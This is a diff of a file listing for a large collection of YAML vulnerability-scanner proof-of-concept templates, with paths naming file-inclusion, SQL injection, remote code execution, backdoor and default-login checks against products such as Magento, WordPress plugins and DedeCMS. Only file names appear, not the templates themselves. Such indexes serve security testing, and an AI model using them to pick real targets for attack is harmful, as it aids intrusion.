./poc/local_file_inclusion/lfi-keyed.yaml -./poc/local_file_inclusion/lfi-linux-fuzz.yaml ./poc/local_file_inclusion/lfi-linux.yaml ./poc/local_file_inclusion/lfi-vuln-params.yaml ./poc/local_file_inclusion/lfi-windows.yaml @@ -49305,6 +49626,7 @@ ./poc/local_file_inclusion/magicflow-lfi-8711.yaml ./poc/local_file_inclusion/magicflow-lfi-8712.yaml ./poc/local_file_inclusion/magicflow-lfi-8713.yaml +./poc/local_file_inclusion/magicflow-lfi.yaml ./poc/local_file_inclusion/metinfo-lfi-1.yaml ./poc/local_file_inclusion/metinfo-lfi-2.yaml ./poc/local_file_inclusion/metinfo-lfi-3.yaml @@ -49313,13 +49635,11 @@ ./poc/local_file_inclusion/metinfo-lfi-8840.yaml ./poc/local_file_inclusion/metinfo-lfi-8841.yaml ./poc/local_file_inclusion/metinfo-lfi-cnvd-2018-13393.yml -./poc/local_file_inclusion/metinfo-lfi.yaml ./poc/local_file_inclusion/minimouse-lfi-8877.yaml ./poc/local_file_inclusion/minimouse-lfi-8878.yaml ./poc/local_file_inclusion/minimouse-lfi-8879.yaml ./poc/local_file_inclusion/minimouse-lfi-8880.yaml ./poc/local_file_inclusion/minimouse-lfi-8881.yaml -./poc/local_file_inclusion/minimouse-lfi.yaml ./poc/local_file_inclusion/moodle-filter-jmol-lfi-8937.yaml ./poc/local_file_inclusion/moodle-filter-jmol-lfi-8938.yaml ./poc/local_file_inclusion/moodle-filter-jmol-lfi-8939.yaml @@ -49330,13 +49650,12 @@ ./poc/local_file_inclusion/mpsec-lfi-8954.yaml ./poc/local_file_inclusion/mpsec-lfi-8955.yaml ./poc/local_file_inclusion/mpsec-lfi-8956.yaml -./poc/local_file_inclusion/mpsec-lfi-8957.yaml ./poc/local_file_inclusion/mthemeunus-lfi-8970.yaml -./poc/local_file_inclusion/mthemeunus-lfi-8971.yaml ./poc/local_file_inclusion/nuxt-js-semi-lfi.yaml ./poc/local_file_inclusion/oliver-library-lfi-9239.yaml ./poc/local_file_inclusion/oliver-library-lfi-9240.yaml ./poc/local_file_inclusion/oliver-library-lfi-9241.yaml +./poc/local_file_inclusion/oliver-library-lfi.yaml ./poc/local_file_inclusion/omnia-mpx-lfi.yaml ./poc/local_file_inclusion/opencti-lfi-9267.yaml ./poc/local_file_inclusion/opencti-lfi-9268.yaml @@ -49354,11 +49673,11 @@ ./poc/local_file_inclusion/orbiteam-bscw-server-unauthenticated-lfi.yaml ./poc/local_file_inclusion/ov3-online-administration-unauthenticated-lfi.yaml ./poc/local_file_inclusion/pacsone-server-6-6-2-lfi.yaml +./poc/local_file_inclusion/pacsone-server-lfi-9428.yaml ./poc/local_file_inclusion/pacsone-server-lfi-9429.yaml ./poc/local_file_inclusion/pacsone-server-lfi-9430.yaml ./poc/local_file_inclusion/phpwiki-lfi-9564.yaml ./poc/local_file_inclusion/phpwiki-lfi-9565.yaml -./poc/local_file_inclusion/phpwiki-lfi-9566.yaml ./poc/local_file_inclusion/phpwiki-lfi-9567.yaml ./poc/local_file_inclusion/phpwiki-lfi-9568.yaml ./poc/local_file_inclusion/process-maker-lfi.yaml @@ -49366,15 +49685,17 @@ ./poc/local_file_inclusion/processmaker-lfi-9660.yaml ./poc/local_file_inclusion/processmaker-lfi-9661.yaml ./poc/local_file_inclusion/processmaker-lfi-9662.yaml +./poc/local_file_inclusion/processmaker-lfi.yaml ./poc/local_file_inclusion/qihang-media-lfi-9766.yaml ./poc/local_file_inclusion/qihang-media-lfi-9767.yaml ./poc/local_file_inclusion/qihang-media-lfi-9768.yaml -./poc/local_file_inclusion/qihang-media-lfi-9769.yaml +./poc/local_file_inclusion/qihang-media-lfi.yaml ./poc/local_file_inclusion/ruijie-networks-lfi-9938.yaml ./poc/local_file_inclusion/ruijie-networks-lfi-9939.yaml ./poc/local_file_inclusion/ruijie-networks-lfi-9940.yaml ./poc/local_file_inclusion/ruijie-networks-lfi-9941.yaml ./poc/local_file_inclusion/ruijie-networks-lfi-9942.yaml +./poc/local_file_inclusion/ruijie-networks-lfi.yaml ./poc/local_file_inclusion/ruoyi-management-lfi.yaml ./poc/local_file_inclusion/samsung-wlan-ap-lfi-10000.yaml ./poc/local_file_inclusion/samsung-wlan-ap-lfi-10001.yaml @@ -49382,14 +49703,13 @@ ./poc/local_file_inclusion/samsung-wlan-ap-lfi-10003.yaml ./poc/local_file_inclusion/samsung-wlan-ap-lfi-9997.yaml ./poc/local_file_inclusion/samsung-wlan-ap-lfi-9998.yaml -./poc/local_file_inclusion/samsung-wlan-ap-lfi-9999.yaml ./poc/local_file_inclusion/schneider-electric-pelco-videoxpert-core-admin-portal-lfi.yaml ./poc/local_file_inclusion/selea-targa-camera-lfi.yaml ./poc/local_file_inclusion/shopxolfi.yaml ./poc/local_file_inclusion/shortcode-lfi-10214.yaml ./poc/local_file_inclusion/shortcode-lfi-10215.yaml ./poc/local_file_inclusion/shortcode-lfi-10216.yaml -./poc/local_file_inclusion/simple-image-manipulator-lfi-10281.yaml +./poc/local_file_inclusion/simple-image-manipulator-lfi-10282.yaml ./poc/local_file_inclusion/simple-image-manipulator-lfi-10283.yaml ./poc/local_file_inclusion/simple-image-manipulator-lfi.yaml ./poc/local_file_inclusion/sitecore-lfi.yaml @@ -49397,6 +49717,7 @@ ./poc/local_file_inclusion/sl-studio-lfi-10319.yaml ./poc/local_file_inclusion/sl-studio-lfi-10320.yaml ./poc/local_file_inclusion/sl-studio-lfi-10321.yaml +./poc/local_file_inclusion/sniplets-lfi-10341.yaml ./poc/local_file_inclusion/sniplets-lfi-10342.yaml ./poc/local_file_inclusion/sniplets-lfi-10343.yaml ./poc/local_file_inclusion/sniplets-lfi.yaml @@ -49404,23 +49725,26 @@ ./poc/local_file_inclusion/sofneta-mecdream-pacs-lfi-10351.yaml ./poc/local_file_inclusion/sofneta-mecdream-pacs-server-lfi.yaml ./poc/local_file_inclusion/squirrelmail-lfi-10516.yaml +./poc/local_file_inclusion/squirrelmail-lfi-10517.yaml ./poc/local_file_inclusion/squirrelmail-lfi-10518.yaml ./poc/local_file_inclusion/squirrelmail-lfi.yaml ./poc/local_file_inclusion/surrealtodo-lfi-10580.yaml +./poc/local_file_inclusion/surrealtodo-lfi.yaml ./poc/local_file_inclusion/targa-camera-lfi-10652.yaml +./poc/local_file_inclusion/targa-camera-lfi-10653.yaml ./poc/local_file_inclusion/targa-camera-lfi-10654.yaml ./poc/local_file_inclusion/targa-camera-lfi-10655.yaml -./poc/local_file_inclusion/targa-camera-lfi.yaml +./poc/local_file_inclusion/thinkcmf-lfi (copy 1).yaml ./poc/local_file_inclusion/thinkcmf-lfi-1.yaml ./poc/local_file_inclusion/thinkcmf-lfi-10721.yaml ./poc/local_file_inclusion/thinkcmf-lfi-10722.yaml ./poc/local_file_inclusion/thinkcmf-lfi-10723.yaml -./poc/local_file_inclusion/thinkcmf-lfi-10724.yaml ./poc/local_file_inclusion/thinkcmf-lfi-2.yaml ./poc/local_file_inclusion/thinkcmf-lfi.yml ./poc/local_file_inclusion/thinkcmflfi.yaml ./poc/local_file_inclusion/thinkphp6-lang-lfi.yaml ./poc/local_file_inclusion/video-synchro-pdf-lfi-11006.yaml +./poc/local_file_inclusion/video-synchro-pdf-lfi-11007.yaml ./poc/local_file_inclusion/video-synchro-pdf-lfi.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi-1.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi-11046.yaml @@ -49429,17 +49753,16 @@ ./poc/local_file_inclusion/vmware-vcenter-lfi-3.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi-linux-11042.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi-linux-11043.yaml -./poc/local_file_inclusion/vmware-vcenter-lfi-linux-11044.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi-linux-11045.yaml ./poc/local_file_inclusion/vmware-vcenter-lfi.yaml ./poc/local_file_inclusion/windows-lfi-fuzz.yaml ./poc/local_file_inclusion/wordpress-LFI.yaml ./poc/local_file_inclusion/wordpress-ext-adaptive-images-lfi.yaml ./poc/local_file_inclusion/wordpress-ext-adaptive-images-lfi.yml +./poc/local_file_inclusion/wordpress-lfi.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11346.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11347.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11348.yaml -./poc/local_file_inclusion/wordpress-wordfence-lfi-11349.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11350.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11351.yaml ./poc/local_file_inclusion/wordpress-wordfence-lfi-11352.yaml @@ -49453,6 +49776,7 @@ ./poc/local_file_inclusion/wp-localize-post-lfi.yaml ./poc/local_file_inclusion/wp-mail-masta-lfi.yaml ./poc/local_file_inclusion/wp-memphis-documents-library-lfi-1.yaml +./poc/local_file_inclusion/wp-memphis-documents-library-lfi-11495.yaml ./poc/local_file_inclusion/wp-memphis-documents-library-lfi-11496.yaml ./poc/local_file_inclusion/wp-memphis-documents-library-lfi-11497.yaml ./poc/local_file_inclusion/wp-memphis-documents-library-lfi-11498.yaml @@ -49479,12 +49803,12 @@ ./poc/local_file_inclusion/wp-socialfit-xss.yaml ./poc/local_file_inclusion/wp-spot-premium-lfi-11583.yaml ./poc/local_file_inclusion/wp-spot-premium-lfi-11584.yaml -./poc/local_file_inclusion/wp-spot-premium-lfi.yaml ./poc/local_file_inclusion/wp-theme-diarise-lfi.yaml -./poc/local_file_inclusion/wp-tinymce-lfi-11589.yaml ./poc/local_file_inclusion/wp-tinymce-lfi-11590.yaml +./poc/local_file_inclusion/wp-tinymce-lfi-11591.yaml ./poc/local_file_inclusion/wp-tinymce-lfi.yaml ./poc/local_file_inclusion/wp-tinymce-thumbnail-plugin-lfi.yaml +./poc/local_file_inclusion/wp-tutor-lfi-11596.yaml ./poc/local_file_inclusion/wp-tutor-lfi-11597.yaml ./poc/local_file_inclusion/wp-tutor-lfi-11598.yaml ./poc/local_file_inclusion/wp-tutor-lfi-11599.yaml @@ -49507,7 +49831,6 @@ ./poc/local_file_inclusion/yisaitong-downloadfromfile-lfi.yaml ./poc/local_file_inclusion/yisaitong-uploadfilemanager-lfi.yaml ./poc/local_file_inclusion/yishaadmin-lfi-11742.yaml -./poc/local_file_inclusion/yishaadmin-lfi-11743.yaml ./poc/local_file_inclusion/yishaadmin-lfi-11744.yaml ./poc/local_file_inclusion/yonyou-nc-printbill-lfi.yaml ./poc/local_file_inclusion/zendrop-dropshipping-and-fulfillment-2fe6949ea942d8a3b7779bc5ccf17f38.yaml @@ -49519,9 +49842,9 @@ ./poc/magento/magento-2-exposed-api-1.yaml ./poc/magento/magento-2-exposed-api-2.yaml ./poc/magento/magento-2-exposed-api-3.yaml -./poc/magento/magento-2-exposed-api-8688.yaml +./poc/magento/magento-2-exposed-api-8687.yaml ./poc/magento/magento-2-exposed-api-8689.yaml -./poc/magento/magento-2-exposed-api.yaml +./poc/magento/magento-admin-panel-8690.yaml ./poc/magento/magento-admin-panel-8691.yaml ./poc/magento/magento-admin-panel-8692.yaml ./poc/magento/magento-admin-panel-8693.yaml @@ -49538,12 +49861,14 @@ ./poc/magento/magento-config-8700.yaml ./poc/magento/magento-config-8701.yaml ./poc/magento/magento-config-8702.yaml +./poc/magento/magento-config-8703.yaml +./poc/magento/magento-config-disclosure.yaml ./poc/magento/magento-config.yaml ./poc/magento/magento-detect-1.yaml ./poc/magento/magento-detect-2.yaml -./poc/magento/magento-detect-8704.yaml ./poc/magento/magento-detect-8705.yaml ./poc/magento/magento-detect-8706.yaml +./poc/magento/magento-detect-8707.yaml ./poc/magento/magento-downloader-panel.yaml ./poc/magento/magento-information-disclosure.yaml ./poc/magento/magento-installer.yaml @@ -49576,7 +49901,7 @@ ./poc/microsoft/74cms-sqli-2.yaml ./poc/microsoft/74cms-sqli-2.yml ./poc/microsoft/74cms-sqli-8.yaml -./poc/microsoft/74cms-sqli-9.yaml +./poc/microsoft/74cms-sqli.yaml ./poc/microsoft/74cms-sqli.yml ./poc/microsoft/74cms-v3-Boolean-injection.yaml ./poc/microsoft/74cms-workflow.yaml @@ -49697,11 +50022,9 @@ ./poc/microsoft/aikcms_v2_notice_edit_sqli.yaml ./poc/microsoft/aims-password-mgmt-client-218.yaml ./poc/microsoft/aims-password-mgmt-client-220.yaml -./poc/microsoft/aims-password-mgmt-client-221.yaml ./poc/microsoft/aims-password-mgmt-client.yaml ./poc/microsoft/aims-password-portal-222.yaml ./poc/microsoft/aims-password-portal-223.yaml -./poc/microsoft/aims-password-portal-224.yaml ./poc/microsoft/aims-password-portal.yaml ./poc/microsoft/alibaba-group-dms.yaml ./poc/microsoft/anecms.yaml @@ -49888,15 +50211,16 @@ ./poc/microsoft/cforms2.yaml ./poc/microsoft/chamilo-lms-sqli-1.yaml ./poc/microsoft/chamilo-lms-sqli-2.yaml -./poc/microsoft/chamilo-lms-sqli-892.yaml +./poc/microsoft/chamilo-lms-sqli-891.yaml +./poc/microsoft/chamilo-lms-sqli.yaml ./poc/microsoft/chamilo-lms-xss-893.yaml ./poc/microsoft/chamilo-lms-xss-894.yaml ./poc/microsoft/chamilo-lms-xss.yaml ./poc/microsoft/chanzhicms.yaml ./poc/microsoft/chronoforms-3c97c9a74c23d051ec22745b993978f5.yaml ./poc/microsoft/chronoforms.yaml -./poc/microsoft/cisco-systems-login-973.yaml ./poc/microsoft/cisco-systems-login-974.yaml +./poc/microsoft/cisco-systems-login-975.yaml ./poc/microsoft/cisco-systems-login.yaml ./poc/microsoft/cluevo-lms-6a1d6ebcef69edeed5f796acb8a5f731.yaml ./poc/microsoft/cluevo-lms-78892043fdf34c1dee70d29718c1a4c1.yaml @@ -49978,10 +50302,12 @@ ./poc/microsoft/corero-smartwall-cms.yaml ./poc/microsoft/couchcms-cve-2018-7662.yml ./poc/microsoft/craft-cms-detect-1246.yaml +./poc/microsoft/craft-cms-detect-1247.yaml ./poc/microsoft/craft-cms-detect-1248.yaml -./poc/microsoft/craft-cms-detect.yaml ./poc/microsoft/craftcms-admin-panel.yaml ./poc/microsoft/craftcms-seomatic-cve-2020-9757-rce.yml +./poc/microsoft/craftercms-detect.yaml +./poc/microsoft/craftercms-panel.yaml ./poc/microsoft/crhms-medical-insurance-decision-support-system.yaml ./poc/microsoft/crhms-medical-insurance-review-system.yaml ./poc/microsoft/crm-perks-forms-3c6615208d5c5e024e8f83beae362118.yaml @@ -50017,6 +50343,7 @@ ./poc/microsoft/custom-registration-and-login-forms-with-new-recaptcha-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/microsoft/custom-registration-and-login-forms-with-new-recaptcha.yaml ./poc/microsoft/custom-sms-service-detect.yaml +./poc/microsoft/cw-alarms-actions.yaml ./poc/microsoft/cxcms-arbitrary-file-read.yaml ./poc/microsoft/dahua-WPMS-sqli.yaml ./poc/microsoft/dahua-eims-capture-handle-rce.yaml @@ -50033,9 +50360,9 @@ ./poc/microsoft/decon-wp-sms-17d0e92e2b742bf4ba974f8caec96975.yaml ./poc/microsoft/decon-wp-sms.yaml ./poc/microsoft/dede-cms-radminpass-disclosure.yaml +./poc/microsoft/dedecms-carbuyaction-fileinclude-6792.yaml ./poc/microsoft/dedecms-carbuyaction-fileinclude-6793.yaml ./poc/microsoft/dedecms-carbuyaction-fileinclude-6794.yaml -./poc/microsoft/dedecms-carbuyaction-fileinclude.yaml ./poc/microsoft/dedecms-carbuyaction-fileinclude.yml ./poc/microsoft/dedecms-cve-2018-6910.yml ./poc/microsoft/dedecms-cve-2018-7700-rce.yml @@ -50043,9 +50370,9 @@ ./poc/microsoft/dedecms-guestbook-sqli.yml ./poc/microsoft/dedecms-membergroup-sqli-6796.yaml ./poc/microsoft/dedecms-membergroup-sqli-6797.yaml -./poc/microsoft/dedecms-membergroup-sqli-6798.yaml ./poc/microsoft/dedecms-membergroup-sqli-6799.yaml ./poc/microsoft/dedecms-membergroup-sqli.yml +./poc/microsoft/dedecms-openredirect-6800.yaml ./poc/microsoft/dedecms-openredirect-6801.yaml ./poc/microsoft/dedecms-openredirect-6802.yaml ./poc/microsoft/dedecms-openredirect-6803.yaml @@ -50071,8 +50398,8 @@ ./poc/microsoft/dnatools-dnalims.yaml ./poc/microsoft/doccms.yaml ./poc/microsoft/docebolms.yaml +./poc/microsoft/dotcms-admin-panel-7085.yaml ./poc/microsoft/dotcms-admin-panel-7086.yaml -./poc/microsoft/dotcms-admin-panel-7087.yaml ./poc/microsoft/dotcms-admin-panel.yaml ./poc/microsoft/dotcms-version-detect.yaml ./poc/microsoft/dotnetcms-sqli-7089.yaml @@ -50082,11 +50409,9 @@ ./poc/microsoft/drupal_module-config_terms-access-bypass.yaml ./poc/microsoft/drupal_module-forms_steps-access-bypass.yaml ./poc/microsoft/drupal_module-spamspan-cross-site-scripting.yaml -./poc/microsoft/duomicms-sql-injection-7122.yaml ./poc/microsoft/duomicms-sql-injection-7123.yaml ./poc/microsoft/duomicms-sql-injection-7124.yaml ./poc/microsoft/duomicms-sql-injection-7125.yaml -./poc/microsoft/duomicms-sql-injection.yaml ./poc/microsoft/duomicms-sqli.yaml ./poc/microsoft/duomicms-sqli.yml ./poc/microsoft/duomicms-workflow.yaml @@ -50098,7 +50423,6 @@ ./poc/microsoft/dzs-zoomsounds-b1bf2d10cbbdb219445dc1ecdf2b860f.yaml ./poc/microsoft/dzs-zoomsounds-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/microsoft/dzs-zoomsounds-listing-7147.yaml -./poc/microsoft/dzs-zoomsounds-listing-7148.yaml ./poc/microsoft/dzs-zoomsounds-listing-7149.yaml ./poc/microsoft/dzs-zoomsounds-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/microsoft/dzs-zoomsounds-plugin.yaml @@ -50121,6 +50445,7 @@ ./poc/microsoft/empirecms-xss-7220.yaml ./poc/microsoft/ems-login-panel-7223.yaml ./poc/microsoft/ems-login-panel-7224.yaml +./poc/microsoft/ems-login-panel-7225.yaml ./poc/microsoft/ems-login-panel.yaml ./poc/microsoft/ems-webclient-detect.yaml ./poc/microsoft/ems-webclient-panel.yaml @@ -50134,6 +50459,7 @@ ./poc/microsoft/examstar.yaml ./poc/microsoft/exponent-cms.yaml ./poc/microsoft/extron-cms-panel.yaml +./poc/microsoft/eyoucms-installer.yaml ./poc/microsoft/eyoucms.yaml ./poc/microsoft/fangweicms-sqli.yaml ./poc/microsoft/fangweicms-sqli.yml @@ -50146,7 +50472,6 @@ ./poc/microsoft/feifeicms.yaml ./poc/microsoft/fidion-cms.yaml ./poc/microsoft/finecms-sqli-7475.yaml -./poc/microsoft/finecms-sqli.yaml ./poc/microsoft/finecms-sqli.yml ./poc/microsoft/finecms.yaml ./poc/microsoft/flip-cms-panel.yaml @@ -50238,6 +50563,7 @@ ./poc/microsoft/getsimple-cms-detect-2.yaml ./poc/microsoft/getsimple-cms-detect-7614.yaml ./poc/microsoft/getsimple-cms-detect-7615.yaml +./poc/microsoft/getsimple-cms-detect.yaml ./poc/microsoft/getsimple-cms-detector-7611.yaml ./poc/microsoft/getsimple-cms-detector-7613.yaml ./poc/microsoft/getsimple-cms-detector.yaml @@ -50259,8 +50585,6 @@ ./poc/microsoft/goodlms.yaml ./poc/microsoft/grav-cms-detect-7841.yaml ./poc/microsoft/grav-cms-detect-7842.yaml -./poc/microsoft/grav-cms-detect-7843.yaml -./poc/microsoft/grav-cms-detect-7844.yaml ./poc/microsoft/grav-cms-detect-7845.yaml ./poc/microsoft/gravcms.yaml ./poc/microsoft/gravity-forms-dps-pxpay-dc6fdd47b30188fa018518ba346c5e82.yaml @@ -50372,6 +50696,7 @@ ./poc/microsoft/jeewms-lfi-8253.yaml ./poc/microsoft/jeewms-lfi-8254.yaml ./poc/microsoft/jeewms-lfi-8255.yaml +./poc/microsoft/jeewms-lfi.yaml ./poc/microsoft/jeewms-privilege-bypass.yaml ./poc/microsoft/jeewms-showordownbyurl-fileread.yaml ./poc/microsoft/jeewms-showordownbyurl-fileread.yml @@ -50404,6 +50729,7 @@ ./poc/microsoft/kevinlab-bems-backdoor-8454.yaml ./poc/microsoft/kevinlab-bems-backdoor-8455.yaml ./poc/microsoft/kevinlab-bems-backdoor-8456.yaml +./poc/microsoft/kevinlab-bems-sqli-8457.yaml ./poc/microsoft/kevinlab-bems-sqli-8458.yaml ./poc/microsoft/kevinlab-bems-sqli-8459.yaml ./poc/microsoft/kevinlab-bems-sqli-8460.yaml @@ -50411,10 +50737,9 @@ ./poc/microsoft/kevinlab-hems-backdoor-8464.yaml ./poc/microsoft/kevinlab-hems-backdoor-8465.yaml ./poc/microsoft/kevinlab-hems-backdoor-8466.yaml -./poc/microsoft/kevinlab-hems-backdoor-8467.yaml +./poc/microsoft/kevinlab-hems-backdoor.yaml ./poc/microsoft/kiwitcms-json-rpc.yaml ./poc/microsoft/kiwitcms-login-8496.yaml -./poc/microsoft/kiwitcms-login-8497.yaml ./poc/microsoft/kiwitcms-login.yaml ./poc/microsoft/kordil-edms.yaml ./poc/microsoft/kpcms-socket-login-info-disclosure.yaml @@ -50462,6 +50787,7 @@ ./poc/microsoft/maccms-rce.yml ./poc/microsoft/maccms.yaml ./poc/microsoft/maccmsv10-backdoo.yaml +./poc/microsoft/maccmsv10-backdoor-8683.yaml ./poc/microsoft/maccmsv10-backdoor-8684.yaml ./poc/microsoft/maccmsv10-backdoor-8685.yaml ./poc/microsoft/maccmsv10-backdoor-8686.yaml @@ -50518,15 +50844,17 @@ ./poc/microsoft/microsoft-exchange-control-panel.yaml ./poc/microsoft/microsoft-exchange-login-8847.yaml ./poc/microsoft/microsoft-exchange-login.yaml -./poc/microsoft/microsoft-exchange-panel-8848.yaml ./poc/microsoft/microsoft-exchange-panel-8849.yaml +./poc/microsoft/microsoft-exchange-panel-8850.yaml ./poc/microsoft/microsoft-exchange-panel.yaml +./poc/microsoft/microsoft-exchange-server-detect-8851.yaml ./poc/microsoft/microsoft-exchange-server-detect-8852.yaml ./poc/microsoft/microsoft-exchange-server-detect-8853.yaml ./poc/microsoft/microsoft-exchange-server-detect.yaml -./poc/microsoft/microsoft-exchange-workflow.yaml +./poc/microsoft/microsoft-exchange-workflow-8855.yaml ./poc/microsoft/microsoft-exchange.yaml ./poc/microsoft/microsoft-ftp-service-detect.yaml +./poc/microsoft/microsoft-ftp-service.yaml ./poc/microsoft/microsoft-iis-version.yaml ./poc/microsoft/microsoft-isa-server.yaml ./poc/microsoft/microsoft-phish.yaml @@ -50546,6 +50874,7 @@ ./poc/microsoft/mollie-forms-3025c7da047128ca8530cdf3a094ebc7.yaml ./poc/microsoft/mollie-forms-f0db812e51ae6400a634ecab5f82571a.yaml ./poc/microsoft/mollie-forms.yaml +./poc/microsoft/monstracms-detect.yaml ./poc/microsoft/ms-adcs-detect-8960.yaml ./poc/microsoft/ms-adcs-detect.yaml ./poc/microsoft/ms-exchange-server-reflected-xss-8962.yaml @@ -50574,7 +50903,9 @@ ./poc/microsoft/msmc-redirect-after-comment-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/microsoft/msmc-redirect-after-comment-plugin.yaml ./poc/microsoft/msmc-redirect-after-comment.yaml +./poc/microsoft/msmq-detect.yaml ./poc/microsoft/msmtp-config-8966.yaml +./poc/microsoft/msmtp-config-8967.yaml ./poc/microsoft/mspcontrol-login.yaml ./poc/microsoft/mssql-default-logins.yaml ./poc/microsoft/mssql-detect.yaml @@ -50617,6 +50948,7 @@ ./poc/microsoft/myucms-lfr-8984.yaml ./poc/microsoft/myucms-lfr-8985.yaml ./poc/microsoft/myucms-lfr-8986.yaml +./poc/microsoft/myucms-lfr.yaml ./poc/microsoft/myucms-lfr.yml ./poc/microsoft/namaste-lms-119ec46f108a332aca6034c537083044.yaml ./poc/microsoft/namaste-lms-5a9d5217f7143833c2e6879ff9d010b1.yaml @@ -50710,6 +51042,7 @@ ./poc/microsoft/ninja-forms-abc8b534e8c0ad9e5bb0c6ca53c0dd7e.yaml ./poc/microsoft/ninja-forms-abc8f56baa2f6c16ba6fcee3602c4c73.yaml ./poc/microsoft/ninja-forms-ae6861225b2d12f5ecb2f3e693ef9cb3.yaml +./poc/microsoft/ninja-forms-b0074d876c57e6b2b77d7378a0f7c12a.yaml ./poc/microsoft/ninja-forms-b37b48ad5f5def90dc722e1eb82ea5ee.yaml ./poc/microsoft/ninja-forms-b65072876b55ceef1be8b40a035dec7a.yaml ./poc/microsoft/ninja-forms-b8a67d786484e8f362aa4b9cc2efb069.yaml @@ -50739,7 +51072,7 @@ ./poc/microsoft/nitc-cms.yaml ./poc/microsoft/normstar-hr.yaml ./poc/microsoft/nucleus-cms.yaml -./poc/microsoft/octobercms-default-login-9192.yaml +./poc/microsoft/octobercms-default-login-9193.yaml ./poc/microsoft/octobercms-default-login.yaml ./poc/microsoft/octobercms-detect-1.yaml ./poc/microsoft/octobercms-detect-2.yaml @@ -50762,23 +51095,23 @@ ./poc/microsoft/official-mailerlite-sign-up-forms-plugin.yaml ./poc/microsoft/official-mailerlite-sign-up-forms.yaml ./poc/microsoft/open-redirection-vuln-params.yaml +./poc/microsoft/opennms-web-console-9285.yaml ./poc/microsoft/opennms-web-console-9286.yaml -./poc/microsoft/opennms-web-console-9287.yaml ./poc/microsoft/opennms-web-console.yaml ./poc/microsoft/opentext-livesite-teamsite-database-info-exposure.yaml ./poc/microsoft/optin-forms-2b5298ba04623328bfa5ec7b2fd61145.yaml ./poc/microsoft/optin-forms-728954f941df325faf582771e7ad6ed1.yaml ./poc/microsoft/optin-forms.yaml ./poc/microsoft/orchid-vms-panel.yaml +./poc/microsoft/outsystems-servicecenter-panel.yaml +./poc/microsoft/pandora-fms-console-9451.yaml ./poc/microsoft/pandora-fms-console-9452.yaml -./poc/microsoft/pandora-fms-console-9453.yaml ./poc/microsoft/pandora-fms-console.yaml ./poc/microsoft/pandora-fms.yaml ./poc/microsoft/pandorafms-cve-2019-20224-rce.yml ./poc/microsoft/paraview-uams.yaml ./poc/microsoft/payment-forms-for-paystack-9e71ae11056f9c8a0f3c1bdcd525390c.yaml ./poc/microsoft/payment-forms-for-paystack.yaml -./poc/microsoft/pbootcms-database-file-download-9469.yaml ./poc/microsoft/pbootcms-database-file-download.yaml ./poc/microsoft/pbootcms-database-file-download.yml ./poc/microsoft/pbootcms-v3.1.2-rce.yaml @@ -50818,13 +51151,11 @@ ./poc/microsoft/plone-cms-detect-9606.yaml ./poc/microsoft/plone-cms-detect-9608.yaml ./poc/microsoft/plone-cms-detect-9609.yaml -./poc/microsoft/plone-cms-detect.yaml ./poc/microsoft/power-cpms.yaml ./poc/microsoft/power-powerpms.yaml ./poc/microsoft/powercreator-cms-rce-9643.yaml ./poc/microsoft/powercreator-cms-rce-9644.yaml ./poc/microsoft/powercreator-cms-rce-9645.yaml -./poc/microsoft/powercreator-cms-rce-9646.yaml ./poc/microsoft/powercreator-cms-rce-9647.yaml ./poc/microsoft/powercreator-cms.yaml ./poc/microsoft/preamsolutions-inspection-and-modification-information-platform.yaml @@ -50841,7 +51172,7 @@ ./poc/microsoft/rce-vuln-params.yaml ./poc/microsoft/reflected-params.yaml ./poc/microsoft/rhymix-cms-detect-9876.yaml -./poc/microsoft/rhymix-cms-detect-9877.yaml +./poc/microsoft/rhymix-cms-detect-9878.yaml ./poc/microsoft/rhymix-cms-detect-9879.yaml ./poc/microsoft/rubygems-key.yaml ./poc/microsoft/ruoyi-cms-unauth.yaml @@ -50866,31 +51197,29 @@ ./poc/microsoft/samsung-wlan-ap-lfi-10003.yaml ./poc/microsoft/samsung-wlan-ap-lfi-9997.yaml ./poc/microsoft/samsung-wlan-ap-lfi-9998.yaml -./poc/microsoft/samsung-wlan-ap-lfi-9999.yaml ./poc/microsoft/samsung-wlan-ap-rce-10004.yaml ./poc/microsoft/samsung-wlan-ap-rce-10005.yaml ./poc/microsoft/samsung-wlan-ap-rce-10006.yaml ./poc/microsoft/samsung-wlan-ap-rce-10007.yaml -./poc/microsoft/samsung-wlan-ap-rce-10008.yaml +./poc/microsoft/samsung-wlan-ap-rce-10009.yaml ./poc/microsoft/samsung-wlan-ap-rce-10010.yaml -./poc/microsoft/samsung-wlan-ap-rce.yaml ./poc/microsoft/samsung-wlan-ap-wea453e-rce.yaml ./poc/microsoft/samsung-wlan-ap-wea453e-rce.yml ./poc/microsoft/samsung-wlan-ap-workflow-10011.yaml ./poc/microsoft/samsung-wlan-ap-xss-10012.yaml ./poc/microsoft/samsung-wlan-ap-xss-10013.yaml ./poc/microsoft/samsung-wlan-ap-xss-10014.yaml -./poc/microsoft/samsung-wlan-ap-xss.yaml ./poc/microsoft/samsung-wlan-default-login-10015.yaml ./poc/microsoft/samsung-wlan-default-login-10016.yaml ./poc/microsoft/samsung-wlan-default-login-10017.yaml +./poc/microsoft/samsung-wlan-default-login-10018.yaml ./poc/microsoft/sanshuichinatelecombusinesssupportroomsystem.yaml ./poc/microsoft/sdcms神盾内容管理系统.yaml ./poc/microsoft/seaCMS-sqli.yaml ./poc/microsoft/seacms-before-v992-rce.yaml ./poc/microsoft/seacms-before-v992-rce.yml ./poc/microsoft/seacms-dmku-sqli.yaml -./poc/microsoft/seacms-rce-10100.yaml +./poc/microsoft/seacms-rce-10101.yaml ./poc/microsoft/seacms-rce-10102.yaml ./poc/microsoft/seacms-rce.yml ./poc/microsoft/seacms-sqli(1).yaml @@ -50907,11 +51236,11 @@ ./poc/microsoft/searchterms-tagging-2.yaml ./poc/microsoft/seeddms-default-login-10125.yaml ./poc/microsoft/seeddms-default-login-10126.yaml -./poc/microsoft/seeddms-default-login-10127.yaml ./poc/microsoft/seeddms-default-login-10128.yaml 